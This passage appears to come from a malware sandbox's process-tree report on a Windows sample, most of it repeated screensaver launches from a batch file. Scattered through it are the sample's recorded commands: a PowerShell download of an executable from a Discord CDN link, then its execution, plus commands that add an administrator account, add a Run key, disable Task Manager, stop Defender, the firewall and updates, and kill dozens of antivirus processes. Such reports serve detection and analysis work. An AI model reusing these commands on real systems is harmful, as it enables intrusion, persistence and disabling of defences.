- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1696
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1324
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3632
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1424
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1496
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2236
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3492
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2968
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4432
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4680
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4852
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:404
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1492
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4288
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1996
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4628
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1664
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4364
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3092
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4852
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:224
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2104
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1696
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2376
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2356
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3916
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4172
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2744
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1960
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3496
  - - C:\Windows\system32\netsh.exe
      netsh firewall set service type = remotedesktop mode = enable
      4⤵
      PID:4428
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:860
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1000
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K black.bat
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2332
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4060
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4688
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4736
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4604
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4416
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3532
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1500
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3320
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3624
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3840
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2504
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2520
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4136
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4672
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4352
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4176
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3752
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:776
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2352
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3016
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4452
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2944
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3624
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2276
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:540
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4336
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1120
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2292
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:5056
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1296
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4592
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3792
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:904
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3112
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4060
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4828
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4632
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3740
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1156
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1744
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4952
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4776
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1808
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1968
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3496
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3944
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4232
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3456
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2512
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2180
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4612
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4740
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4668
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2104
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:1416
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4868
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4672
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4756
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1872
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1616
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2300
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2116
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3672
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(New-Object Net.WebClient).DownloadFile('https://cdn.discordapp.com/attachments/974798125011198003/976894591552860220/NoKeyB.exe', 'NoKeyB.exe')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2856
- C:\Windows\system32\cmd.exe
  cmd.exe
  2⤵
  PID:2676
- C:\Users\Admin\Documents\NoKeyB.exe
  NoKeyB.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of SetWindowsHookEx
  PID:1896
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Set-ExecutionPolicy Unrestricted"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3396
- C:\Windows\system32\net.exe
  net localgroup administrators session /ADD
  2⤵
  PID:1796
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup administrators session /ADD
    3⤵
    PID:4088
- C:\Windows\system32\reg.exe
  reg add "hklm\Software\Microsoft\Windows\CurrentVersion\Run" /v "rundll32_24201_toolbar" /t "REG_SZ" /d C:\Users\Admin\AppData\Local\Temp\YourCyanide.cmd /f
  2⤵
  - Adds Run key to start application
  PID:2780
- C:\Windows\system32\reg.exe
  reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_SZ /d 1 /f
  2⤵
  PID:2276
- C:\Windows\system32\net.exe
  net stop "WinDefend"
  2⤵
  PID:4488
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "WinDefend"
    3⤵
    PID:4268
- C:\Windows\system32\taskkill.exe
  taskkill /f /t /im "MSASCui.exe"
  2⤵
  - Kills process with taskkill
  PID:4120
- C:\Windows\system32\net.exe
  net stop "wuauserv"
  2⤵
  PID:4080
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "wuauserv"
    3⤵
    PID:1332
- C:\Windows\system32\net.exe
  net stop "security center"
  2⤵
  PID:1316
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "security center"
    3⤵
    PID:4612
- C:\Windows\system32\net.exe
  net stop sharedaccess
  2⤵
  PID:4852
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop sharedaccess
    3⤵
    PID:4572
- C:\Windows\system32\netsh.exe
  netsh firewall set opmode mode-disable
  2⤵
  PID:3868
- C:\Windows\system32\net.exe
  net stop Security Center
  2⤵
  PID:1744
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop Security Center
    3⤵
    PID:2232
- C:\Windows\system32\netsh.exe
  netsh firewall set opmode mode=disable
  2⤵
  PID:3804
- C:\Windows\system32\tskill.exe
  tskill /A av*
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4992
- C:\Windows\system32\tskill.exe
  tskill /A fire*
  2⤵
  PID:1416
- C:\Windows\system32\tskill.exe
  tskill /A anti*
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1240
- C:\Windows\system32\tskill.exe
  tskill /A spy*
  2⤵
  PID:1184
- C:\Windows\system32\tskill.exe
  tskill /A bullguard
  2⤵
  PID:2984
- C:\Windows\system32\tskill.exe
  tskill /A PersFw
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4392
- C:\Windows\system32\tskill.exe
  tskill /A KAV*
  2⤵
  PID:1804
- C:\Windows\system32\tskill.exe
  tskill /A ZONEALARM
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3928
- C:\Windows\system32\tskill.exe
  tskill /A SAFEWEB
  2⤵
  PID:2504
- C:\Windows\system32\tskill.exe
  tskill /A OUTPOST
  2⤵
  PID:4268
- C:\Windows\system32\tskill.exe
  tskill /A nv*
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4488
- C:\Windows\system32\tskill.exe
  tskill /A nav*
  2⤵
  PID:1564
- C:\Windows\system32\tskill.exe
  tskill /A F-*
  2⤵
  PID:5060
- C:\Windows\system32\tskill.exe
  tskill /A ESAFE
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4928
- C:\Windows\system32\tskill.exe
  tskill /A cle
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3132
- C:\Windows\system32\tskill.exe
  tskill /A BLACKICE
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4444
- C:\Windows\system32\tskill.exe
  tskill /A def*
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2244
- C:\Windows\system32\tskill.exe
  tskill /A kav
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4500
- C:\Windows\system32\tskill.exe
  tskill /A kav*
  2⤵
  PID:1976
- C:\Windows\system32\tskill.exe
  tskill /A avg*
  2⤵
  PID:1332
- C:\Windows\system32\tskill.exe
  tskill /A ash*
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4664
- C:\Windows\system32\tskill.exe
  tskill /A aswupdsv
  2⤵
  PID:4828
- C:\Windows\system32\tskill.exe
  tskill /A ewid*
  2⤵
  PID:4840
- C:\Windows\system32\tskill.exe
  tskill /A guard*
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4736
- C:\Windows\system32\tskill.exe
  tskill /A guar*
  2⤵
  PID:4816
- C:\Windows\system32\tskill.exe
  tskill /A gcasDt*
  2⤵
  PID:3924
- C:\Windows\system32\tskill.exe
  tskill /A msmp*
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:728
- C:\Windows\system32\tskill.exe
  tskill /A mcafe*
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3544
- C:\Windows\system32\tskill.exe
  tskill /A mghtml
  2⤵
  PID:3340
- C:\Windows\system32\tskill.exe
  tskill /A msiexec
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1320
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup administrators session /ADD
    3⤵
    PID:2504
- C:\Windows\system32\tskill.exe
  tskill /A outpost
  2⤵
  PID:4416
- C:\Windows\system32\tskill.exe
  tskill /A isafe
  2⤵
  PID:4072
- C:\Windows\system32\tskill.exe
  tskill /A zap*
  2⤵
  PID:1872
- C:\Windows\system32\tskill.exe
  tskill /A zauinst
  2⤵
  PID:4864
- C:\Windows\system32\tskill.exe
  tskill /A upd*
  2⤵
  PID:3204
- C:\Windows\system32\tskill.exe
  tskill /A zlclien*
  2⤵
  PID:1644
- C:\Windows\system32\tskill.exe
  tskill /A minilog
  2⤵
  PID:2808
- C:\Windows\system32\tskill.exe
  tskill /A cc*
  2⤵
  PID:2816
- C:\Windows\system32\tskill.exe
  tskill /A norton*
  2⤵
  PID:3320
- C:\Windows\system32\tskill.exe
  tskill /A norton au*
  2⤵
  PID:1960
- C:\Windows\system32\tskill.exe
  tskill /A ccc*
  2⤵
  PID:1100
- C:\Windows\system32\tskill.exe
  tskill /A npfmn*
  2⤵
  PID:2984
- C:\Windows\system32\tskill.exe
  tskill /A loge*
  2⤵
  PID:4988
- C:\Windows\system32\tskill.exe
  tskill /A nisum*
  2⤵
  PID:4200
- C:\Windows\system32\tskill.exe
  tskill /A issvc
  2⤵
  PID:5052
- C:\Windows\system32\tskill.exe
  tskill /A tmp*
  2⤵
  PID:4364
- C:\Windows\system32\tskill.exe
  tskill /A tmn*
  2⤵
  PID:5060
- C:\Windows\system32\tskill.exe
  tskill /A pcc*
  2⤵
  PID:1160
- C:\Windows\system32\tskill.exe
  tskill /A cpd*
  2⤵
  PID:4136
- C:\Windows\system32\tskill.exe
  tskill /A pop*
  2⤵
  PID:2968
- C:\Windows\system32\tskill.exe
  tskill /A pav*
  2⤵
  PID:4712
- C:\Windows\system32\tskill.exe
  tskill /A padmin
  2⤵
  PID:4840
- C:\Windows\system32\tskill.exe
  tskill /A panda*
  2⤵
  PID:404
- C:\Windows\system32\tskill.exe
  tskill /A avsch*
  2⤵
  PID:4284
- C:\Windows\system32\tskill.exe
  tskill /A sche*
  2⤵
  PID:3416
- C:\Windows\system32\tskill.exe
  tskill /A syman*
  2⤵
  PID:4228
- C:\Windows\system32\tskill.exe
  tskill /A virus*
  2⤵
  PID:228
- C:\Windows\system32\tskill.exe
  tskill /A realm*
  2⤵
  PID:1880
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3716
- C:\Windows\system32\tskill.exe
  tskill /A sweep*
  2⤵
  PID:1848
- C:\Windows\system32\tskill.exe
  tskill /A scan*
  2⤵
  PID:4924
- C:\Windows\system32\tskill.exe
  tskill /A ad-*
  2⤵
  PID:1644
- C:\Windows\system32\tskill.exe
  tskill /A safe*
  2⤵
  PID:2960
- C:\Windows\system32\tskill.exe
  tskill /A avas*
  2⤵
  PID:796
- C:\Windows\system32\tskill.exe
  tskill /A norm*
  2⤵
  PID:3308
- C:\Windows\system32\tskill.exe
  tskill /A offg*
  2⤵
  PID:4900
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K black.bat
  2⤵
  PID:1992
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:5056
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1800
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4208
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:372
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4596
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:816
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2808
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1476
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2972
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3348
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1432
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K black.bat
  2⤵
  PID:228
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:940
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1100
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1412
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5060
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1976
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4184
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1492
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3308
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4900
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:940
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2092
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4868
- C:\Windows\system32\cmd.exe
  cmd.exe
  2⤵
  PID:1156
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1848
- C:\Windows\system32\cmd.exe
  cmd.exe
  2⤵
  PID:556
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4640
- C:\Windows\system32\cmd.exe
  cmd.exe
  2⤵
  PID:1880
- C:\Windows\system32\cmd.exe
  cmd.exe
  2⤵
  PID:3896
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K black.bat
  2⤵
  PID:1304
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3396
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1836
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4200
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:2504
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4964
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4932
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4176
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1792
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4816
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1204
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K black.bat
  2⤵
  PID:544
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1808
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2432
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4268
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4496
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1204
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3740
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3152
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3340
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1100
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4232
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K 2b2crypt.cmd
  2⤵
  PID:1484
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K 2b2crypt.m.cmd
  2⤵
  PID:4956
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:1564
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K black.bat
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1332
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3752
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4872
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1364
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4008
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K black.bat
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1976
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5068
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1652
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3744
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1152
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:792
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3672
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4988
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3864
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1872
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2504
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1836
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4356
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3348
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K black.bat
  2⤵
  PID:4080
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4964
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4416
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:4288
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3128
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1696
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:2432
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:3632
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:1364
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
    3⤵
    PID:32
- - C:\Windows\system32\scrnsave.scr
    C:\Windows\system32\scrnsave.scr /s
